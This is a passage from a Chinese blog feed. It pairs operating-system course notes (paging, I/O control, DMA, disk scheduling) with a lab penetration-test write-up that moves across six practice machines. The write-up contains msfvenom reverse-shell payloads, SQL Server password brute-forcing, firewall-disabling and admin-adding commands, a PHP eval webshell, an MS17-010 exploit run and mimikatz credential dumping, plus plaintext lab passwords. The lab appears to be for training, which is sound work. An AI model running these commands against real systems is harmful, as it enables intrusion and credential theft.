src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy41l5uvkrj319a0nik5f.jpg" alt="" /></p> <h3 id="页表页面映象表">页表(页面映象表)</h3> <p>==页表的作用是实现从页号到物理块号的地址映射==</p> <p>由页号和块号组成，指出逻辑地址中页号与主存中物理块号的对应关系</p> <p>==页号==—作业地址空间的页序号</p> <p>==块号==—内存空间的页面序号</p> <h3 id="地址转换机构">地址转换机构</h3> <h4 id="基本任务">基本任务</h4> <p>借助于页表,实现从逻辑地址到物理地址的转换,实际上就是将逻辑地址中的页号转换为内存中的物理块号</p> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy45nsdm19j30u00xzqbq.jpg" alt="" /> <img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy45o19a7ij30u011ggre.jpg" alt="" /> <img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy45oiccqwj30u017daiq.jpg" alt="" /> <img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy45ok2z86j30u014pgtz.jpg" alt="" /> <img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy45oyal75j30u013gjz9.jpg" alt="" /> <img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy45oyal75j30u013gjz9.jpg" alt="" /></p> <h3 id="分页和分段的主要区别">分页和分段的主要区别</h3> <p>(1) 页是信息的物理单位，由于系统管理的需要。段则是信息的逻辑单位，它含有一组其意义相对完整的信息。分段的目的是为了能更好地满足用户的需要。</p> <p>(2) 页的大小固定且由系统决定，而段的长度却不固定，它由其完成的功能决定。</p> <p>(3) 分页的作业地址空间是一维的而分段的作业地址空间则是二维的，程序员在标识一个地址时，需给出段名和段内地址。</p> <p>(4)由于段是信息的逻辑单位，因此便于存贮保护和信息的共享，页的保护和共享受到限制。</p> <h2 id="分段存储管理方式">分段存储管理方式</h2> <p>==可重入代码==：又称为“纯代码”，是一种允许多个进程同时访问的代码。可重入代码是一种不允许任何进程对它进行修改的代码。</p> <p>分段系统中，实现代码的共享比在分页系统中容易。</p> <p>例如：不同进程共享代码长为160KB的文本编辑器。</p> <h2 id="段页式存储管理方式">段页式存储管理方式</h2> <p>引入</p> <p>分页和分段管理方式各有其优缺点，分页系统能有效提高内存的利用率，而分段则能更好地满足用户的需要，因此可以将两者结合成一种新的存储管理方式系统称为“段页式系统”。</p> <p>原理</p> <p>先将程序分成若干个段，再把每个段分成若干个页，并为每一个段赋予一个段名。</p> <h1 id="第五章-虚拟存储器">第五章 虚拟存储器</h1> <h1 id="第六章-输入输出系统">第六章 输入输出系统</h1> <p>I/O系统管理的主要对象是I/O设备和相应的设备控制器</p> <p>主要任务: 完成用户提出的I/O请求，提高I/O速率，以及提高设备的利用率，并能为更高层的进程方便地使用这些设备提供手段</p> <h2 id="io系统的基本功能">I/O系统的基本功能</h2> <ul> <li> <p>隐藏物理设备的细节</p> <p>仅向上层进程提供少量的、抽象的读/写命令</p> </li> <li>与设备的无关性</li> <li>提高处理机和I/O设备的利用率</li> <li>对I/O设备进行控制</li> <li>确保对设备的正确共享</li> <li>错误处理</li> </ul> <p>I/O设备的四种控制方式:</p> <ul> <li>采用轮询的可编程I/O方式</li> <li>采用中断的可编程I/O方式</li> <li> <p>直接存储器的访问方式</p> <p>(传输数据的基本单位:数据块，提高系统的利用率)</p> </li> <li>I/O通道方式</li> </ul> <h2 id="io系统的层次结构和模型">I/O系统的层次结构和模型</h2> <h3 id="层次结构">层次结构</h3> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwly1fy50wzet6bj31gs0qw1af.jpg" alt="" /></p> <h3 id="io系统中各种模块之间的层次视图">I/O系统中各种模块之间的层次视图</h3> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwly1fy50yip02jj30yo0h4mxz.jpg" alt="" /></p> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy511p21ayj314c0oitql.jpg" alt="" /></p> <h2 id="io系统接口">I/O系统接口</h2> <ul> <li>块设备接口: 以块为单位传输</li> <li>流设备接口：字符设备接口</li> <li>网络通信接口</li> </ul> <h2 id="io设备的类型">I/O设备的类型</h2> <ul> <li>按传输速率分类： 低速设备、中速设备、高速设备</li> <li>按信息交换的单位分类： 块设备、字符设备</li> <li>按设备的共享属性分类： 独占设备、共享设备、虚拟设备</li> </ul> <h2 id="设备控制器">设备控制器</h2> <h3 id="io设备与cpu之间的接口">I/O设备与CPU之间的接口</h3> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy51c7kouxj312s0ciwg7.jpg" alt="" /></p> <h3 id="定义和概念">定义和概念</h3> <p>==设备控制器是CPU和设备之间的一个接口,它接收从CPU发来的命令,控制I/O设备操作,实现主存和设备之间的数据传输。==</p> <p>控制器接受一条命令后，CPU可以转向其它工作，而设备控制器自行完成具体的I/O操作；当命令执行完毕后，控制器发出一个中断信号，以便OS重新获得CPU的控制权并检查执行结果</p> <p>设备控制器是一个可编址设备,当它连接多台设备时,则应具有多个设备地址</p> <h3 id="设备控制器的基本功能">设备控制器的基本功能</h3> <ul> <li>接收和识别命令</li> <li>数据交换</li> <li>标识和报告设备的状态</li> <li>地址识别</li> <li>数据缓冲</li> <li>差错控制</li> </ul> <h3 id="设备控制器的组成">设备控制器的组成</h3> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy51gsdfksj31420icmzu.jpg" alt="" /></p> <h2 id="io通道">I/O通道</h2> <p>==定义==：通道是独立于CPU的专门负责数据输入/输出传输工作的处理机，对外部设备实现统一管理，代替CPU对输入/输出操作进行控制，从而使输入，输出操作可与CPU并行操作。</p> <p>==引入通道的目的==：为了使CPU从I/O事务中解脱出来，同时为了提高CPU与设备，设备与设备之间的并行工作能力</p> <p>==通过执行通道程序来控制I/O操作==</p> <p>==指令类型单一，与CPU共享内存==</p> <h3 id="通道类型">通道类型</h3> <h4 id="字节多路通道">字节多路通道</h4> <ul> <li>字节多路通道以字节为单位传输信息，它可以分时地执行多个通道程序。当一个通道程序控制某台设备传送一个字节后，通道硬件就控制转去执行另一个通道程序，控制另一台设备传送信息，使所有的通道轮转一周</li> <li>主要连接以字节为单位的低速I/O设备。如打印机，终端。</li> <li>以字节为单位交叉传输，当一台传送一个字节后，立即转去为另一台传送字节</li> </ul> <h4 id="数组选择通道block-selector-channel">数组选择通道（Block Selector Channel）</h4> <ul> <li>选择通道是以成组方式工作的，即每次传送一批数据，故传送速度很高。选择通道在一段时间内只能执行一个通道程序，只允许一台设备进行数据传输</li> <li>当这台设备数据传输完成后，再选择与通道连接的另一台设备，执行它的相应的通道程序</li> <li>主要连接磁盘，磁带等高速I/O设备</li> </ul> <h4 id="数组多路通道block-multiplexor-channel">数组多路通道（Block Multiplexor Channel）</h4> <ul> <li>它结合了选择通道传送速度高和字节多路通道能进行分时并行操作的优点。它先为一台设备执行一条通道指令，然后自动转接，为另一台设备执行一条通道指令；主要连接高速设备</li> <li>这样，对于连接多台磁盘机的数组多路通道，它可以启动它们同时执行移臂定位操作，然后，按序交叉地传输一批批数据。数据多路通道实际上是对通道程序采用多道程序设计的硬件实现</li> </ul> <h4 id="瓶颈问题">“瓶颈”问题</h4> <p>解决问题的方法是增加设备到主机的通路而不增加通道：即把一个设备连接到多个控制器上，一个控制器连接到多个通道上</p> <h2 id="中断机构和中断处理程序">中断机构和中断处理程序</h2> <h3 id="中断和陷入">中断和陷入</h3> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy5283c6s5j31600ha0uz.jpg" alt="" /></p> <h3 id="中断向量表和中断优先级">中断向量表和中断优先级</h3> <p><img src="https://ws1.sinaimg.cn/large/006tNbRwgy1fy52arljwlj316u0gvace.jpg" alt="" /></p> <h3 id="对多中断源的处理方式">对多中断源的处理方式</h3> <p>屏蔽（禁止）中断、嵌套中断</p> <h2 id="中断处理程序">中断处理程序</h2> <p>当一个进程请求I/O操作时，该进程将被挂起，直到I/O设备完成I/O操作后，设备控制器便向CPU发送一个中断请求，CPU响应后便转向中断处理程序，中断处理程序执行相应的处理，处理完后解除相应进程的阻塞状态</p> <h3 id="处理过程">处理过程</h3> <ul> <li>测定是否有未响应的中断信号</li> <li>保护被中断进程的CPU环境</li> <li>转入相应的设备处理程序</li> <li>中断处理</li> <li>恢复CPU的现场并退出中断</li> </ul> <h2 id="设备驱动程序">设备驱动程序</h2> <h3 id="定义主要任务">定义、主要任务</h3> <ul> <li>设备驱动程序:是I/O进程与设备控制器之间的通信程序</li> <li>主要任务: 接收上层软件发来的抽象I/O要求，再把它转换为具体要求后，发送给设备控制器，启动设备区执行；反之，它也将由设备控制器发来的信号传送给上层软件</li> <li>设备驱动程序包括与设备相关的代码，它的工作是：把用户提交的逻辑I/O请求转化为物理I/O操作的启动和执行，如设备名转化为端口地址、逻辑记录转化为物理记录、逻辑操作转化为物理操作等</li> </ul> <h3 id="设备驱动程序的功能">设备驱动程序的功能</h3> <ul> <li>将接收到的抽象要求转换为具体要求；</li> <li>检查用户I/O请求的合法性，了解I/O设备的状态，传递有关参数，设置设备的工作方式；</li> <li>发出I/O命令，启动分配到的I／O设备，完成指定的I／O操作；</li> <li>及时响应由控制器或通道发来的中断请求，并根据其中断类型调用相应的中断处理程序进行处理；</li> <li>对于设置有通道的计算机系统，驱动程序还应能够根据用户的I/O请求，自动地构成通道程序</li> </ul> <h3 id="设备驱动程序的特点">设备驱动程序的特点</h3> <ul> <li>驱动程序主要是指在请求I/O的进程与设备控制器之间的一个通信和转换程序。</li> <li>驱动程序与设备控制器和I/O设备的硬件特性紧密相关， 因而对不同类型的设备应配置不同的驱动程序。</li> <li>驱动程序与I/O设备所采用的I/O控制方式紧密相关。</li> <li>由于驱动程序与硬件紧密相关， 因而其中的一部分必须用汇编语言书写。</li> </ul> <h3 id="设备处理方式">设备处理方式</h3> <ul> <li>为每一类设备设置一个进程，专门用于执行这类设备的I/O操作 .</li> <li>在整个系统中设置一个I/O进程，专门用于执行系统中所有各类设备的I/O操作。</li> <li>不设置专门的设备处理进程，而只为各类设备设置相应的设备处理程序(模块)， 供用户进程或系统进程调用。</li> </ul> <h3 id="设备驱动程序的处理过程">设备驱动程序的处理过程</h3> <ul> <li>将抽象要求转换为具体要求</li> <li>检查I/O请求的合法性</li> <li>读出和检查设备的状态</li> <li>传送必要的参数</li> <li>工作方式的设置</li> <li>启动I/O设备</li> </ul> <h3 id="io设备的控制方式">==I/O设备的控制方式==</h3> <h4 id="宗旨">宗旨</h4> <p>尽量减少主机对I/O控制的干预，把主机从繁杂的I/O控制事务中解脱出来，以便更多地去完成数据处理任务</p> <h4 id="使用轮询的可编程io方式">使用轮询的可编程I/O方式</h4> <ul> <li>在这种方式下，输入输出指令或询问指令测试一台设备的忙闲标志位，决定主存储器和外围设备是否交换一个字符或一个字</li> <li>一旦CPU启动I/O设备，便不断查询I/O设备的准备情况，终止原程序的执行，浪费CPU时间；</li> <li>I/O准备就绪后，CPU参与数据传送工作，而不能执行原程序，</li> <li>CPU和I/O设备串行工作，使主机不能充分发挥效率，外围设备也不能得到合理使用，整个系统效率很低。</li> </ul> <h4 id="使用中断的可编程io方式">使用中断的可编程I/O方式</h4> <ul> <li>CPU启动I/O设备后，不必查询I/O设备是否就绪，继续执行现行程序。</li> <li>设备控制器按照命令要求去控制指定的I/O设备，当数据准备好后，即进入数据寄存器后，控制器通过控制线向CPU发送中断信号</li> <li>I/O操作直接由CPU控制，每传送一个字符或字，要发生一次中断，仍然消耗大量CPU时间</li> <li>不必忙式查询I/O准备情况，CPU和I/O设备可实现部分并行，与程序查询的串行工作方式相比，使CPU资源得到较充分利用</li> </ul> <h4 id="直接存储器dma访问方式">==直接存储器(DMA)访问方式==</h4> <p>如果I/O设备能直接与主存交换数据而不占用CPU，CPU的利用率还可提高，这就出现了直接存储器存取DMA方式</p> <p>==特点==:</p> <ul> <li>数据传输的基本单位是数据块，在主机与I/O设备之间每次至少传递一个数据块；</li> <li>所传送的数据块是从设备直接送入内存；</li> <li>在传送一个或多个数据块的开始和结束才需CPU干预，传送过程是在控制器的控制下完成</li> </ul> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy54r6esvjj30fs0g0aao.jpg" alt="" /></p> <p>==DMA控制器的组成==</p> <ul> <li>主机与DMA控制器的接口</li> <li>DMA控制器与块设备的接口</li> <li>I/O控制逻辑</li> </ul> <p>==DMA工作流程==</p> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy54zgtpecj31020u0tr0.jpg" alt="" /></p> <h4 id="io通道控制方式">I/O通道控制方式</h4> <p>I/O通道控制方式的引入</p> <ul> <li>为获得CPU和外围设备间更高的并行工作能力，也为了让种类繁多，物理特性各异的外围设备能以标准的接口连接到系统中，计算机系统引入了自成独立体系的通道结构</li> <li>由通道管理和控制I/O操作，减少了外围设备和CPU的逻辑联系。把CPU从琐碎的I/O操作中解放出来</li> </ul> <p>==与DMA方式的区别==</p> <ul> <li>通道控制方式与DMA方式相类似，也是一种内存和设备直接进行数据交换的方式。与DMA方式不同的是，在通道控制方式中，数据传送方向、存放数据的内存始址及传送的数据块长度均由一个专门负责输入/输出的硬件——通道来控制。</li> <li>另外，DMA方式每台设备至少需要一个DMA控制器，而通道控制方式中，一个通道可控制多台设备与内存进行数据交换</li> </ul> <p>==通道程序==</p> <ul> <li>操作码。</li> <li>内存地址。</li> <li>计数。</li> <li>通道程序结束位P。</li> <li>记录结束标志R。</li> </ul> <h2 id="与设备无关的io软件">与设备无关的I/O软件</h2> <h3 id="设备独立性的概念">设备独立性的概念</h3> <ul> <li>也称为设备无关性。 其基本含义是： 应用程序独立于具体使用的物理设备。</li> <li>引入了逻辑设备和物理设备这两个概念</li> <li>在应用程序中， 使用逻辑设备名称来请求使用某类设备；而系统在实际执行时， 还必须使用物理设备名称。</li> <li>系统须具有将逻辑设备名称转换为某物理设备名称的功能</li> </ul> <h3 id="设备独立性的好处">设备独立性的好处</h3> <ul> <li>设备分配时的灵活性</li> <li>易于实现I/O重定向</li> </ul> <h3 id="与设备无关的软件">与设备无关的软件</h3> <ul> <li>设备驱动程序的统一接口</li> <li>缓冲管理</li> <li>差错控制</li> <li>对独立设备的分配与回收</li> <li>独立于设备的逻辑数据块</li> </ul> <h3 id="为什么要引入设备独立性如何实现设备独立性">为什么要引入设备独立性？如何实现设备独立性？</h3> <p>引入设备独立性，可使应用程序独立于具体的物理设备，是设备分配具有灵活性。另外容易实现I/O重定向。 为了实现设备独立性，必须在设备驱动程序之上设置一层设备独立性软件，用来执行所有I/O设备的公用操作，并向用户层软件提供统一接口。关键是系统中必须设置一张逻辑设备表LUT用来进行逻辑设备到物理设备的映射，其中每个表目中包含了逻辑设备名、物理设备名和设备驱动程序入口地址三项；当应用程序用逻辑设备名请求分配I/O设备时，系统必须为它分配相应的物理设备，并在LUT中建立一个表目，以后进程利用该逻辑设备名请求I/O操作时，便可从LUT中得到物理设备名和驱动程序入口地址。</p> <h3 id="设备分配">设备分配</h3> <h4 id="设备分配程序">设备分配程序</h4> <p>物理设备名-&gt;SDT(系统设备表)-&gt;DCT(设备控制表)-&gt;\ COCT(控制器控制表)-&gt;CHCT(通道控制表)-&gt;LUT(逻辑设备表)</p> <h4 id="设备分配时应考虑的因素">设备分配时应考虑的因素</h4> <ol> <li>设备的固有属性 <ul> <li>独享设备。</li> <li>共享设备。</li> <li>虚拟设备。</li> </ul> </li> <li>设备分配算法 <ul> <li>先来先服务。</li> <li>优先级高者优先。</li> </ul> </li> <li>设备分配中的安全性 <ul> <li>安全分配方式</li> <li>不安全分配方式</li> </ul> </li> </ol> <h3 id="独占设备的分配程序">独占设备的分配程序</h3> <h4 id="基本的设备分配程序">基本的设备分配程序</h4> <ul> <li>分配设备</li> <li>分配控制器</li> <li>分配通道</li> </ul> <h4 id="设备分配程序的改进">设备分配程序的改进</h4> <ul> <li>增加设备的独立性</li> <li>考虑多通路情况</li> </ul> <h3 id="逻辑设备名到物理设备名映射的实现">逻辑设备名到物理设备名映射的实现</h3> <p>为了实现设备的独立性，系统必须设置一张逻辑设备表(LUT)，\ 用于将应用程序中所使用的逻辑设备名映射为物理设备名。</p> <p>LUT的设置问题:</p> <ul> <li>第一种方式是在整个系统中只设置一张LUT。</li> <li>第二种方式是为每个用户设置一张LUT。</li> </ul> <h2 id="spooling技术假脱机系统">SPOOLing技术——假脱机系统</h2> <p>SPOOLing：即同时联机外围操作，又称脱机操作。在多道程序环境下，可利用多道程序中的一道程序，来模拟脱机的输入输出功能。即在联机条件下，将数据从输入设备传送到磁盘，或从磁盘传送到输出设备。</p> <p>组成: 输入井和输出井、输入缓冲区和输出缓冲区、输入进程和输出进程、井管理程序</p> <p>SPOOLing系统特点：提高了I/O的速度、将独占设备改造成共享设备、实现了虚拟设备功能。</p> <p>共享打印机——SPOOLing技术的典型实例</p> <p>打印机属于独享设备。 用SPOOLing技术转换为共享设备，提高设备的利用效率。 用户请求打印后： 1.输出进程在输出井中申请一个空闲磁盘块区， 并将要打印的数据送入其中。 2.输出进程申请并填写一张空白的用户请求打印表，再将该表挂到请求打印队列上 3. 打印机空闲时，首取第一张请求表，将数据从输出井传送到内存缓冲区，进行打印</p> <h2 id="磁盘存储器的性能和调度">磁盘存储器的性能和调度</h2> <h3 id="磁盘的类型">磁盘的类型</h3> <ul> <li>固定头磁盘: 每条磁道上都有一读/写磁头，所有的磁头都被装在一刚性磁臂中。可以并行读/写。</li> <li>移动头磁盘: 每一个盘面仅配有一个磁头，也被装入磁臂中。仅能以串行方式读/写</li> </ul> <h3 id="磁盘访问时间">磁盘访问时间</h3> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy57l12g1sj30wd0u0b2a.jpg" alt="" /></p> <h3 id="磁盘调度">磁盘调度</h3> <p>目标: 使磁盘的平均寻道时间最短</p> <h4 id="先来先服务算法">先来先服务算法</h4> <p>原理: 根据进程请求访问磁盘的先后次序进行调度</p> <p>优点: 公平，简单，每个进程的请求都能依次地得到处理，不会出现某一进程的请求长期得不到满足的情况</p> <p>缺点: 平均寻道时间较长</p> <h4 id="最短寻道时间优先算法">最短寻道时间优先算法</h4> <p>原理：选择有距当前磁头所在磁道最近的访问磁道的进程。</p> <p>优点: 比FCFS有更好的寻道性能</p> <p>缺点: 可能导致某个进程发生饥饿现象</p> <p><img src="https://ws3.sinaimg.cn/large/006tNbRwgy1fy585fwjaxj319x0u0ajr.jpg" alt="" /></p> <hr /> <h4 id="scan算法电梯调度算法">SCAN算法——电梯调度算法</h4> <p>原理：选择与当前磁头移动方向一致且距离最近的进程。</p> <p>优点：寻道性能较好避免出现“饥饿”现象</p> <h4 id="循环扫描cscan算法">循环扫描(CSCAN)算法</h4> <p>规定磁头单向移动。</p> <p><img src="https://ws2.sinaimg.cn/large/006tNbRwgy1fy588uqet2j31cp0u0dn9.jpg" alt="" /></p> <hr /> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwgy1fy589nxgdkj30uo0kiq7d.jpg" alt="" /></p> Thu, 13 Dec 2018 00:00:00 +0000 http://WaIdo.github.io/2018/12/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AD%A6%E4%B9%A0/ http://WaIdo.github.io/2018/12/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AD%A6%E4%B9%A0/ 计算机操作系统 <p><a href="https://bbs.ichunqiu.com/thread-49988-1-1.html">本文已首发于i春秋</a></p> <p>实验目的：拿下一号机shell开3389远程登录</p> <h1 id="拓扑图">拓扑图</h1> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-6c54cefb7f1bcedc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h2 id="a组">A组</h2> <p>1号 账号：Administrator 密码：Jack@!@#</p> <p>ip：192.168.141.111</p> <p>2号 账号：ADMIN-PC/ADMIN 密码：123456hhhh.</p> <p>222.18.158.244:7771</p> <p>ip：192.168.141.138</p> <p>3号 域名：hiro.com</p> <p>管理员 账号：hiro\administrator 密码：hb123456,./$</p> <p>域用户 账号：hiro.com/user1 密码：hb123456,./$</p> <p>ip：192.168.141.100</p> <p>Tips 里面设了静态ip 要改一下 <a href="http://waldo.com.cn/2018/10/20/配置Windows-Server-2012域控环境/">已将加入过程总结</a></p> <p>4号 账号:administrator 密码:Win@2003</p> <p>ip：192.168.141.114</p> <p>5号 账号：Administrator 密码：Win@2008</p> <p>ip：192.168.141.115</p> <p>6号 账号：Administrator 密码：Edvison233!</p> <p>ip：192.168.141.116</p> <h1 id="b组攻击组">B组(攻击组)</h1> <h1 id="使用kali拿下二号机">使用kali拿下二号机</h1> <p>通过MobaXterm连接Kali Linux(ip:192.168.141.143)，用户名:root，密码:toor <img src="https://upload-images.jianshu.io/upload_images/7216746-b086c475865a0199.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用下述命令，执行，生成木马文件:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.141.143 LPORT=4444 -f exe &gt; ./test.exe </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-a0be7e99c5810789.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>生成了test.exe之后，然后在kali里，设定端口监听，等待目标上线</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;show options; set LHOST 192.168.141.143;set LPORT 4444; run" </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-29d723f0db0c5d74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在2号机上右击，以管理员权限执行。kali就可以接收到反弹回来的shell。对shell进行操作。</p> <p>在kali里接收到了shell，可在meterpreter中管理shell，开启3389 <img src="https://upload-images.jianshu.io/upload_images/7216746-32d92423d0257169.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在kali里接收到了shell，可在meterpreter中管理shell，开启3389</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run post/windows/manage/enable_rdp </code></pre></div></div> <p>添加用户</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh." </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-14444c8328c1c660.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>然后在服务器主机中，用新添加的账号，远程桌面连接2号机，至此完成了对2号机的控制 <img src="https://upload-images.jianshu.io/upload_images/7216746-d9b4333b9e525239.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="2号机到6号机">2号机到6号机</h1> <p>使用nmap扫描发现192.168.141.116开了1433端口</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -p1433 --open 192.168.141.0/24 </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-c74ebec3543f5fb1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用ms-sql-brute模块对6号机sa账户进行爆破，获得用户名为sa，密码为123456</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktop\name.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116 </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-db76ffd349bd787d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用sqltools获取6号机数据库 <img src="https://upload-images.jianshu.io/upload_images/7216746-f1b301d4d8da3f92.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>用xp_cmdshell关闭防火墙限制</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh firewall set opmode mode=disable </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-c69de91fa4c1c6ea.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>添加3389入站规则</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-9b625c32f5af2580.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>创建管理员用户Waldo6TEST</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net user Waldo6TEST 1234567hhhh. /add net localgroup administrators Waldo6TEST /add </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-9c11df737ce6d622.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-b84e1a5c7de2d07e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用用户名Wado6TEST 密码1234567hhhh.成功登陆六号机 <img src="https://upload-images.jianshu.io/upload_images/7216746-22a9c656fe6fcb0e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="6号机到5号机">6号机到5号机</h1> <p>发现5号机开放80端口</p> <p>输入://192.168.141.115/phpmyadmin/，弱口令 用户名root 密码root</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-c54337230756a51e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>尝试写入webshell</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-209b387b9c227d1d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>use mysql; CREATE TABLE `mysql`.`d0g3` (`sn00py` TEXT NOT NULL ); INSERT INTO `mysql`.`d0g3` (`sn00py`)VALUES ('&lt;?php @eval($_POST[c]);?&gt;'); SELECT sn00py FROM d0g3 INTO OUTFILE 'C:/pentest/phpstudy/WWW/shell.php'; </code></pre></div></div> <p>Shell写到了：<code class="highlighter-rouge">http://192.168.141.115/shell.php</code></p> <p>使用菜刀连接</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-48b61f88ab4df483.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>执行命令whoami，发现是administrator权限</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-5199c69e4edc4117.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="image" /></p> <p>加管理员用户</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net user Waldo 1234567hhhh. /add net localgroup administrators Waldo /add </code></pre></div></div> <p>打开5号机3389端口:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f </code></pre></div></div> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-cd109ed3b2cb64ec.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>连接到远程桌面</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-cfa7ab7767b254ed.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="5号机到4号机">5号机到4号机</h1> <p>在5号机上传ms17010攻击脚本，用kali攻击机生成一个payload</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.141.143 lport=6666 -f exe -o shell.exe </code></pre></div></div> <p>开启msf监听</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole -q use exploit/multi/handler set lhost 0.0.0.0 set lport 6666 exploit </code></pre></div></div> <p>在5号机中cmd中<code class="highlighter-rouge">C:\Users\Waldo\MS17-010-master</code></p> <p>在5号机上，运行ms170101攻击脚本(脚本要自己下载)</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python zzz_exploit.py 192.168.141.114 </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-d6aab1708ad3b226.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-9fb6bed11323cfc2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在kali里接收到了shell，可在meterpreter中管理shell，开启3389</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run post/windows/manage/enable_rdp </code></pre></div></div> <p>添加用户</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh." </code></pre></div></div> <p>在5号机远程登录4号机 <img src="https://upload-images.jianshu.io/upload_images/7216746-034a5d11784abeb2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="4号机到3号机">4号机到3号机</h1> <p>在4号机中抓取hash</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>privilege::debug sekurlsa::logonpasswords </code></pre></div></div> <p>抓到域控管理员账号和密码:</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-f6673d3c8583c11f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在4号机上，使用以下命令建立IPC$连接</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net use 